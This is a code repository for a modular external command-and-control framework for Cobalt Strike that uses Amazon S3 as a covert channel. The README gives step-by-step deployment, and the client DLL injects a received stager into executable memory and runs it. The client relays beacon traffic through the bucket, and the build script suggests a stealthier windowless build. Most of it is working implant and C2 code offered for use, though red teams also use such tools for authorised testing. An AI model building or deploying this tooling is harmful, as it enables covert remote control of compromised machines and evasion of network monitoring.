├── .gitignore ├── README.md └── builds ├── client └── s3 │ ├── c2file_dll.c │ ├── c2file_dll.h │ ├── compile_dll.sh │ └── s3_client.py ├── server ├── config.py ├── configureStage │ └── __init__.py ├── establishedSession │ └── __init__.py ├── s3_server.py └── utils │ ├── __init__.py │ ├── commonUtils.py │ ├── encoders │ ├── __init__.py │ ├── encoder_b64url.py │ └── encoder_base64.py │ └── transports │ ├── __init__.py │ └── transport_s3.py └── start_externalc2.cna /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | .static_storage/ 56 | .media/ 57 | local_settings.py 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # external_c2 framework 2 | Python framework for usage with Cobalt Strike's External C2 specification as described in the [spec](https://www.cobaltstrike.com/downloads/externalc2spec.pdf). 3 | 4 | The primary design goal is to be a very modular implementation of the external c2 spec that provides enough abstraction to easily implement C2 channels for Cobalt Strike. Ideally, all a user would have to do is create a `transport` module, an `encoder` module, and populate a configuration file to implement a new channel. 5 | 6 | 7 | ## S3 Transport Configuration 8 | 9 | You'll need to do several configuration changes before getting up and running. You'll need to: 10 | 11 | 1. Create an AWS Account if you haven't already (https://portal.aws.amazon.com/billing/signup#/start) 12 | 2. Create an IAM user whose only access is to S3 buckets, and generate secret/access key pair for them (https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html) 13 | 3. Create an S3 bucket, and note the name. 14 | 4. In `builds/client/s3/s3_client.py`, change `AWS_SECRET_KEY` and `AWS_ACCESS_KEY` to those generated in 2. Change `bucketName` to the bucket created in 3. 15 | 5. In `builds/server/utils/transports/transport_s3.py` make the same changes as you did in 4. 16 | 6. Compile your DLL by: `cd builds/client/s3 && ./compile_dll.sh` 17 | 7. Start your Cobalt Strike Team server and connect withthe Cobalt Strike Client 18 | 8. Load the `start_externalc2.cna` script from your CS client. 19 | 9. Copy this repo to your team server, then execute the server by `cd builds/server/ && ./s3_server.py` 20 | 10. Distribute your executable from 6 to the host and execute. You should see a connection back from the team server. 21 | 22 | Link to video demo: https://youtu.be/wzruD7LPZp0 23 | 24 | ## Architecture 25 | This project consists of three main parts: 26 | - Builder (not yet implemented) 27 | - Client 28 | - Server 29 | 30 | 31 | ### Builder 32 | The builder dynamically builds client and server deployments based on the specified configuration. Ideally, the client would be able to be distributed as a single compiled file such as a dll or exe. 33 | 34 | ### Client 35 | The client is essentially the payload that runs on the endpoint, referred to as `third-party client` within the spec. The logic of the client is primarily static: 36 | 1. Run any preparations need to be utilizing the `transport` 37 | 2. Receive the stager 38 | 3. Inject the stager and open the handle to the beacon 39 | 4. Obtain metadata from the beacon 40 | 5. Relay the metadata from the beacon to the C2 server via the `transport` 41 | 6. Watch the `transport` for new tasks 42 | 7. Relay new tasks to the beacon 43 | 8. Relay responses from the beacon via the `transport` 44 | 9. Repeat steps 6-8. 45 | 46 | Configurations needed for the transport and encoding mechanisms are statically copied into the client. Function logic for transporting and encoding mechanisms are also statically copied into from their respective modules. 47 | 48 | Process injection logic is determined from the builder. 49 | 50 | ### Server 51 | The server is the application that brokers communication between the `client` and the `c2 server`, referred to as `third-party Client Controller` within the spec. The server logic is primarily static, but supports verbose and debug output to assist with development: 52 | 1. Parse the configuration 53 | 2. Import the specified encoding module 54 | 3. Import the specified transport module 55 | 4. Establish a connection to the c2 server 56 | 5. Request a stager from the c2 server 57 | 6. Encode the stager with the `encoder` module 58 | 7. Transport the stager with the `transport` module 59 | 8. Await for a metadata response from the client received via the `transport` 60 | 9. Decode the metadata with the `encoder` module 61 | 10. Relay the metadata to the c2 server. 62 | 11. Receive a new task from the c2 server. 63 | 12. Encode the new task 64 | 13. Relay the new task to the client via the `transport` 65 | 14. Receive for a response from the client received via the `transport` 66 | 15. Decode the response via the `encoder` module 67 | 16. Relay the response to the c2 server. 68 | 17. Repeat steps 11-16 69 | 70 | The determination of which `encoder` and `transport` module the server imports is determined from the values stored in config.py. 71 | 72 | No imports of ununsed `transport` or `encoder` modules are performed. 73 | 74 | ## Client and module shared functionality 75 | The following tables describe shared functions between the `encoding` and `transport` modules, and the client. Shared functions are essentially the exact same code. 76 | 77 | **A VERY IMPORTANT NOTE:** The data send to the client's `sendData` and `recvData` functions should be **raw data**, where data send to the transport module's `sendData` and `retrieveData` functions should **already be encoded or decoded as needed**. 78 | 79 | 80 | ### Transport module 81 | | Transport Function | Client Function | Description | 82 | | :---:| :---: | :--- | 83 | | prepTransport | prepTransport | Performs any preconfigurations required to utilize the transport mechanism | 84 | | sendData | sendData | Defines how data is sent through the transport mechanism | 85 | | retrieveData | recvData | Defines how data is received through the transport mechanism 86 | 87 | ### Encoder Module 88 | | Encoder Function | Client Function | Description | 89 | | :---: | :---: | :--- | 90 | | encode | encode | Defines modifications done to raw data to prepare it for transport 91 | | decode | decode | Defines modifications done to raw data received from the transport to be relayed to its destination | 92 | 93 | # How to use this 94 | First, determine which transport and encoding module you'd like to use. We'll use `transport_gmail` and `encoder_b64url` for the following example. 95 | 96 | Next, modify `server/config.py` to suit your needs, ensuring the `ENCODER_MODULE` and `TRANSPORT_MODULE` are properly configured and pointed to your desired modules: 97 | 98 | ## Sample config.py 99 | ```python 100 | EXTERNAL_C2_ADDR = "127.0.0.1" 101 | EXTERNAL_C2_PORT = "2222" 102 | C2_PIPE_NAME = "foobar" 103 | C2_BLOCK_TIME = 100 104 | C2_ARCH = "x86" 105 | IDLE_TIME = 5 106 | ENCODER_MODULE = "encoder_b64url" 107 | TRANSPORT_MODULE = "transport_gmail" 108 | verbose = False 109 | debug = False 110 | ``` 111 | 112 | Next, modify the configuration section for your selected `transport` and `encoder` module. 113 | 114 | Ensure that `client/mechanism/$mechanism_client.py`'s configuration section matches with any configurations you have defined thus far. 115 | 116 | On the machine running the server, execute: 117 | 118 | `python server.py` 119 | 120 | For more verbose output, you may run: 121 | 122 | `python server.py -v` 123 | 124 | For more verbose output and additional output that is useful for debugging, you may run: 125 | 126 | `python server.py -d` 127 | 128 | Next, execute the client on the targeted endpoint. 129 | 130 | If everything worked, a new beacon will be registered within the Cobalt Strike console that you may interact with. 131 | 132 | # FAQ 133 | **Why would you write this?**: 134 | There weren't very many released implementation of the spec, and of the ones that are released, they either are not in a language that I am familiar with or do not have the modularity and abstraction that I was seeking. 135 | 136 | **Why Python 2?**: 137 | I'm lazy and it's easy to implement new transport and encoding channels in it. 138 | 139 | **Your code sucks**: 140 | That's not a question. 141 | 142 | **Can I submit new transport and/or encoder modules?**: 143 | Yes please! Submit a pull request and I would be happy to review. 144 | 145 | # Roadmap 146 | * Similar abstraction and modularity will be implemented in the client component as well, to support different methods of process injection for the beacon payload and other features on the roadmap. 147 | 148 | * Currently, this is missing the builder functionality, which is planned to dynamically build client and server deployments, but it is on the roadmap. 149 | -------------------------------------------------------------------------------- /builds/client/s3/c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } -------------------------------------------------------------------------------- /builds/client/s3/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /builds/client/s3/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll 3 | python -m PyInstaller -F -r c2file.dll s3_client.py 4 | echo '[=] Complete. Distribute dist/s3_client.exe to clients as required.' 5 | echo '-----------------------' 6 | echo '| NOTE |' 7 | echo '----------------------' 8 | echo 'This is compiled unobfuscated. To create a more stealthy version, use:' 9 | echo 'python -m PyInstaller --no-console --key=SomeSixteenChars -F -r c2file.dll s3_client.py' 10 | echo -------------------------------------------------------------------------------- /builds/client/s3/s3_client.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | import sys 4 | import os 5 | import struct 6 | 7 | # Encoder imports: 8 | import base64 9 | import urllib 10 | 11 | # Transport imports: 12 | import boto3 13 | import uuid 14 | from botocore.exceptions import ClientError 15 | from time import sleep 16 | 17 | ##################### 18 | # Bootlegged Config # 19 | ##################### 20 | 21 | # CS-S3-Agent user credentials with full access to S3 22 | # Instead of hardcoding, probably should hard-code an encryption 23 | # key and store in a publicly locatable place, then decrypt and pass to client. 24 | AWS_SECRET_KEY = 'YOUR_SECRET_KEY' 25 | AWS_ACCESS_KEY = 'YOUR_ACCESS_KEY' 26 | 27 | s3 = boto3.client('s3', aws_access_key_id=AWS_ACCESS_KEY, aws_secret_access_key=AWS_SECRET_KEY) 28 | bucketName = 'YOUR_S3BUCKET' 29 | beaconId = str(uuid.uuid4()) 30 | taskKeyName = beaconId + ':TaskForYou' 31 | respKeyName = beaconId + ':RespForYou' 32 | 33 | ################### 34 | # End Config # 35 | ################### 36 | 37 | # THIS SECTION (encoder and transport functions) WILL BE DYNAMICALLY POPULATED BY THE BUILDER FRAMEWORK 38 | # 39 | def encode(data): 40 | data = base64.b64encode(data) 41 | return urllib.quote_plus(data)[::-1] 42 | 43 | def decode(data): 44 | data = urllib.unquote(data[::-1]) 45 | return base64.b64decode(data) 46 | # 47 | 48 | # 49 | def prepTransport(): 50 | return 0 51 | 52 | def sendData(data): 53 | """ 54 | Function to send data to the external C2. Before transmission 55 | data _must_ be encoded using whatever encode functionality is 56 | decided on. 57 | 58 | This function should be _very_ similar to the server sendData. 59 | """ 60 | respKey = "{}:{}".format(respKeyName, str(uuid.uuid4())) 61 | print 'got body contents to send' 62 | s3.put_object(Body=encode(data), Bucket=bucketName, Key=respKey) 63 | print 'sent ' + str(len(data)) + ' bytes' 64 | 65 | def recvData(): 66 | """ 67 | Function to receive data form external C2. Must decode data 68 | from server using decode() method. 69 | 70 | This function should be _very_ similar to the server retrieveData() 71 | """ 72 | while True: 73 | try: 74 | resp = s3.list_objects(Bucket=bucketName, Prefix=taskKeyName) 75 | objects = resp['Contents'] 76 | if objects: 77 | tasks = [] 78 | for obj in objects: 79 | resp = s3.get_object(Bucket=bucketName, Key=obj['Key']) 80 | msg = resp['Body'].read() 81 | msg = decode(msg) 82 | s3.delete_object(Bucket=bucketName, Key=obj['Key']) 83 | tasks.append(msg) 84 | return tasks 85 | except ClientError as e: 86 | if e.response['Error']['Code'] == 'NoSuchKey': 87 | # print '[-] No data to retrieve yet. Sleeping...' 88 | sleep(5) 89 | else: 90 | raise e 91 | except KeyError as e: 92 | # Received no tasks 93 | sleep(5) 94 | 95 | def registerClient(): 96 | """ 97 | Function to register new beacon in external c2. 98 | This should submit a unique identifier for the server to 99 | identify the client with. 100 | 101 | In this example, we put a new string AGENT:UUID into 102 | the bucket to notify the server that a new agent is registering 103 | with beaconId=uuid 104 | """ 105 | keyName = "AGENT:{}".format(beaconId) 106 | s3.put_object(Body="", Bucket=bucketName, Key=keyName) 107 | print "[+] Registering new agent {}".format(keyName) 108 | 109 | # 110 | 111 | maxlen = 1024*1024 112 | 113 | lib = CDLL('c2file.dll') 114 | 115 | lib.start_beacon.argtypes = [c_char_p,c_int] 116 | lib.start_beacon.restype = POINTER(HANDLE) 117 | def start_beacon(payload): 118 | return(lib.start_beacon(payload,len(payload))) 119 | 120 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 121 | lib.read_frame.restype = c_int 122 | def ReadPipe(hPipe): 123 | mem = create_string_buffer(maxlen) 124 | l = lib.read_frame(hPipe,mem,maxlen) 125 | if l < 0: return(-1) 126 | chunk=mem.raw[:l] 127 | return(chunk) 128 | 129 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 130 | lib.write_frame.restype = c_int 131 | def WritePipe(hPipe,chunk): 132 | sys.stdout.write('wp: %s\n'%len(chunk)) 133 | sys.stdout.flush() 134 | print chunk 135 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 136 | sleep(3) 137 | print "ret=%s"%ret 138 | return(ret) 139 | 140 | def go(): 141 | # Register beaconId so C2 server knows we're waiting 142 | registerClient() 143 | # LOGIC TO RETRIEVE DATA VIA THE SOCKET (w/ 'recvData') GOES HERE 144 | print "Waiting for stager..." # DEBUG 145 | p = recvData() 146 | # First time initialization, only one task returned. 147 | p = p[0] 148 | print "Got a stager! loading..." 149 | sleep(2) 150 | # print "Decoded stager = " + str(p) # DEBUG 151 | # Here they're writing the shellcode to the file, instead, we'll just send that to the handle... 152 | handle_beacon = start_beacon(p) 153 | 154 | # Grabbing and relaying the metadata from the SMB pipe is done during interact() 155 | print "Loaded, and got handle to beacon. Getting METADATA." 156 | 157 | return handle_beacon 158 | 159 | def interact(handle_beacon): 160 | while(True): 161 | sleep(1.5) 162 | 163 | # LOGIC TO CHECK FOR A CHUNK FROM THE BEACON 164 | chunk = ReadPipe(handle_beacon) 165 | if chunk < 0: 166 | print 'readpipe %d' % (len(chunk)) 167 | break 168 | else: 169 | print "Received %d bytes from pipe" % (len(chunk)) 170 | print "relaying chunk to server" 171 | sendData(chunk) 172 | 173 | # LOGIC TO CHECK FOR A NEW TASK 174 | print "Checking for new tasks from transport" 175 | 176 | newTasks = recvData() 177 | for newTask in newTasks: 178 | print "Got new task: %s" % (newTask) 179 | print "Writing %s bytes to pipe" % (len(newTask)) 180 | r = WritePipe(handle_beacon, newTask) 181 | print "Write %s bytes to pipe" % (r) 182 | 183 | # Prepare the transport module 184 | prepTransport() 185 | 186 | #Get and inject the stager 187 | handle_beacon = go() 188 | 189 | # run the main loop 190 | try: 191 | interact(handle_beacon) 192 | except KeyboardInterrupt: 193 | print "Caught escape signal" 194 | sys.exit(0) 195 | -------------------------------------------------------------------------------- /builds/server/config.py: -------------------------------------------------------------------------------- 1 | # TODO: Have a proper function that reads in a config 2 | 3 | # DEBUG: 4 | ############################################ 5 | ############################################ 6 | # Address of External c2 server 7 | EXTERNAL_C2_ADDR = "127.0.0.1" 8 | 9 | # Port of external c2 server 10 | EXTERNAL_C2_PORT = "2222" 11 | 12 | # The name of the pipe that the beacon should use 13 | C2_PIPE_NAME = "foobar" 14 | 15 | # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available 16 | C2_BLOCK_TIME = 100 17 | 18 | # Desired Architecture of the Beacon 19 | C2_ARCH = "x86" 20 | 21 | # How long to wait (in seconds) before polling the server for new tasks/responses 22 | IDLE_TIME = 5 23 | 24 | ENCODER_MODULE = "encoder_b64url" 25 | TRANSPORT_MODULE = "transport_s3" 26 | 27 | ########################################### 28 | # DEBUG: 29 | 30 | # Anything taken in from argparse that you want to make avaialable goes here: 31 | verbose = False 32 | debug = False -------------------------------------------------------------------------------- /builds/server/configureStage/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | def configureOptions(sock, arch, pipename, block): 5 | # This whole function should eventually be refactored into an elaborate forloop so that we can 6 | # support additional beacon options down the road 7 | # send the options 8 | if config.verbose: 9 | print commonUtils.color("Configuring stager options") 10 | 11 | beacon_arch = "arch=" + str(arch) 12 | if config.debug: 13 | print commonUtils.color(beacon_arch, status=False, yellow=True) 14 | commonUtils.sendFrameToC2(sock, beacon_arch) 15 | 16 | beacon_pipename = "pipename=" + str(pipename) 17 | if config.debug: 18 | print commonUtils.color(beacon_pipename, status=False, yellow=True) 19 | commonUtils.sendFrameToC2(sock, beacon_pipename) 20 | 21 | beacon_block = "block=" + str(block) 22 | if config.debug: 23 | print commonUtils.color(beacon_block, status=False, yellow=True) 24 | commonUtils.sendFrameToC2(sock, beacon_block) 25 | 26 | def requestStager(sock): 27 | commonUtils.sendFrameToC2(sock, "go") 28 | 29 | stager_payload = commonUtils.recvFrameFromC2(sock) 30 | 31 | return stager_payload 32 | 33 | def loadStager(sock, beaconId): 34 | # Send options to the external_c2 server 35 | configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME) 36 | 37 | if config.debug: 38 | print commonUtils.color("stager configured, sending 'go'", status=False, yellow=True) 39 | 40 | # Request stager 41 | stager_payload = requestStager(sock) 42 | 43 | if config.debug: 44 | print (commonUtils.color("STAGER: ", status=False, yellow=True) + "%s") % (stager_payload) 45 | 46 | # Prep stager payload 47 | if config.verbose: 48 | print commonUtils.color("Encoding stager payload") 49 | # Trick, this is actually done during sendData() 50 | 51 | # Send stager to the client 52 | if config.verbose: 53 | print commonUtils.color("Sending stager to client") 54 | commonUtils.sendData(stager_payload, beaconId) 55 | 56 | # Rrieve the metadata we need to relay back to the server 57 | if config.verbose: 58 | print commonUtils.color("Awaiting metadata response from client") 59 | # Only one response, so this should be the first element of the array 60 | metadata = commonUtils.retrieveData(beaconId)[0] 61 | 62 | # Send the metadata frame to the external_c2 server 63 | if config.verbose: 64 | print commonUtils.color("Sending metadata to c2 server") 65 | if config.debug: 66 | print (commonUtils.color("METADATA: ", status=False, yellow=True) + "%s") % (metadata) 67 | commonUtils.sendFrameToC2(sock, metadata) 68 | 69 | # Pretend we have error handling, return 0 if everything is Gucci 70 | 71 | return 0 -------------------------------------------------------------------------------- /builds/server/establishedSession/__init__.py: -------------------------------------------------------------------------------- 1 | import config 2 | from utils import commonUtils 3 | 4 | def checkForTasks(sock): 5 | """ 6 | Poll the c2 server for new tasks 7 | """ 8 | 9 | chunk = commonUtils.recvFrameFromC2(sock) 10 | if chunk < 0: 11 | if config.debug: 12 | print (commonUtils.color("Attempted to read %d bytes from c2 server", status=False, yellow=True)) %(len(chunk)) 13 | # break # This should probably just return None or something 14 | return None 15 | else: 16 | if config.debug: 17 | if len(chunk) > 1: 18 | print (commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) 19 | else: 20 | print (commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) 21 | if len(chunk) > 1: 22 | if config.verbose: 23 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) 24 | if config.debug: 25 | print (commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) 26 | return chunk 27 | 28 | ########## 29 | 30 | 31 | 32 | #def checkForResponse(sock): 33 | def checkForResponse(beaconId): 34 | """ 35 | Check the covert channel for a response from the client. 36 | 37 | Args: 38 | beaconId (str) - Identifier to determine which beacon we're getting 39 | a response from 40 | """ 41 | 42 | recvdResponse = commonUtils.retrieveData(beaconId) 43 | if config.debug: 44 | if len(recvdResponse) > 1: 45 | print (commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) 46 | else: 47 | print (commonUtils.color("Recieved empty response from client", status=False, yellow=True)) 48 | if len(recvdResponse) > 1: 49 | if config.verbose: 50 | print (commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) 51 | if config.debug: 52 | print (commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) 53 | 54 | 55 | return recvdResponse 56 | 57 | def relayResponse(sock, response): 58 | # Relays the response from the client to the c2 server 59 | # 'response', will have already been decoded from 'establishedSession.checkForResponse()' 60 | # -- Why is this it's own function? Because I have no idea what I'm doing 61 | if config.debug: 62 | print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) 63 | commonUtils.sendFrameToC2(sock, response) 64 | 65 | def relayTask(task, beaconId): 66 | # Relays a new task from the c2 server to the client 67 | # 'task' will be encoded in the 'commonUtils.sendData()' function. 68 | if config.debug: 69 | print commonUtils.color("Relaying task to client", status=False, yellow=True) 70 | commonUtils.sendData(task, beaconId) 71 | -------------------------------------------------------------------------------- /builds/server/s3_server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | from utils import commonUtils 4 | import configureStage 5 | import establishedSession 6 | import config 7 | from time import sleep 8 | from threading import Thread 9 | import uuid 10 | 11 | def importModule(modName, modType): 12 | """ 13 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 14 | """ 15 | prep_global = "global " + modType 16 | exec(prep_global) 17 | importName = "import utils." + modType + "s." + modName + " as " + modType 18 | exec(importName, globals()) 19 | 20 | def createConnection(beaconId): 21 | """ 22 | Function responsible for configuring the initial stager 23 | for an incoming connection. Will return the socket connection 24 | responsible for issuing tasks. 25 | 26 | Returns: 27 | socket connection to the Teamserver 28 | """ 29 | # Start with logic to setup the connection to the external_c2 server 30 | sock = commonUtils.createSocket() 31 | 32 | # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager 33 | # Poll covert channel for 'READY2INJECT' message from client 34 | # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it 35 | # if args.verbose: 36 | # print commonUtils.color("Client ready to recieve stager") 37 | 38 | # ##################### 39 | 40 | # Prep the transport module 41 | prep_trans = transport.prepTransport() 42 | 43 | # Let's get the stager from the c2 server 44 | stager_status = configureStage.loadStager(sock, beaconId) 45 | 46 | if stager_status != 0: 47 | # Something went horribly wrong 48 | print commonUtils.color("Something went terribly wrong while configuring the stager!", status=False, warning=True) 49 | sys.exit(1) 50 | return sock 51 | 52 | def taskLoop(sock, beaconId): 53 | while True: 54 | if config.verbose: 55 | print commonUtils.color("Checking the c2 server for {} tasks...".format(beaconId)) 56 | 57 | newTask = establishedSession.checkForTasks(sock) 58 | 59 | # once we have a new task (even an empty one), lets relay that to our client 60 | if config.debug: 61 | print commonUtils.color("Encoding and relaying task to {}".format(beaconId), status=False, yellow=True) 62 | establishedSession.relayTask(newTask, beaconId) 63 | # Attempt to retrieve a response from the client 64 | if config.verbose: 65 | print commonUtils.color("Checking {} for a response...".format(beaconId)) 66 | 67 | b_responses = establishedSession.checkForResponse(beaconId) 68 | # b_response = establishedSession.checkForResponse(beaconId) 69 | for b_response in b_responses: 70 | # Let's relay this response to the c2 server 71 | establishedSession.relayResponse(sock, b_response) 72 | sleep(config.C2_BLOCK_TIME/100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 73 | 74 | 75 | def main(): 76 | # Argparse for certain options 77 | parser = argparse.ArgumentParser() 78 | parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) 79 | parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) 80 | 81 | 82 | # Call arguments with args.$ARGNAME 83 | args = parser.parse_args() 84 | 85 | # Assign the arguments to config.$ARGNAME 86 | if not config.verbose: 87 | config.verbose = args.verbose 88 | if not config.debug: 89 | config.debug = args.debug 90 | 91 | # Enable verbose output if debug is enabled 92 | if config.debug: 93 | config.verbose = True 94 | 95 | # Import our defined encoder, transport and manager modules 96 | if config.verbose: 97 | print (commonUtils.color("Importing encoder module: ") + "%s") % (config.ENCODER_MODULE) 98 | importModule(config.ENCODER_MODULE, "encoder") 99 | commonUtils.importModule(config.ENCODER_MODULE, "encoder") 100 | if config.verbose: 101 | print (commonUtils.color("Importing transport module: ") + "%s") % (config.TRANSPORT_MODULE) 102 | importModule(config.TRANSPORT_MODULE, "transport") 103 | commonUtils.importModule(config.TRANSPORT_MODULE, "transport") 104 | 105 | ##################################### 106 | # Need to set up the new incoming # 107 | # connection logic here for sorting # 108 | ##################################### 109 | beacons = {} 110 | try: 111 | while True: 112 | # Some logic in determining if new agents are available 113 | newBeacons = transport.fetchNewBeacons() 114 | # newBeacons should be a list of uuid4() strings 115 | if newBeacons: 116 | for beaconId in newBeacons: 117 | # Create and open the connection here 118 | sock = createConnection(beaconId) 119 | # Tell the socket to begin its task looping 120 | t = Thread(target=taskLoop, args=(sock, beaconId)) 121 | t.daemon = True 122 | print "[+] Established new session {}. Staring task loop.".format(beaconId) 123 | t.start() 124 | # Save conneciton information for a beacon 125 | beacons[beaconId] = sock 126 | sleep(config.IDLE_TIME) 127 | except KeyboardInterrupt: 128 | if config.debug: 129 | print commonUtils.color("\nClosing the socket connections to the c2 server") 130 | for beaconId, socketConnection in beacons.items(): 131 | commonUtils.killSocket(socketConnection) 132 | print commonUtils.color("\nKilling Beacon {}...".format(beaconId), warning=True) 133 | sys.exit(0) 134 | 135 | main() 136 | -------------------------------------------------------------------------------- /builds/server/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RhinoSecurityLabs/external_c2_framework/929b3aceafb990e0bc175905f1aa5919420a975c/builds/server/utils/__init__.py -------------------------------------------------------------------------------- /builds/server/utils/commonUtils.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import config 4 | def importModule(modName, modType): 5 | """ 6 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 7 | """ 8 | prep_global = "global " + modType 9 | exec(prep_global) 10 | importName = "import utils." + modType + "s." + modName + " as " + modType 11 | exec(importName, globals()) 12 | 13 | def createSocket(): 14 | # Borrowed from https://github.com/outflanknl/external_c2/blob/master/python_c2ex.py 15 | d = {} 16 | d['sock'] = socket.create_connection((config.EXTERNAL_C2_ADDR, int(config.EXTERNAL_C2_PORT))) 17 | d['state'] = 1 18 | return (d['sock']) 19 | 20 | def sendFrameToC2(sock, chunk): 21 | slen = struct.pack('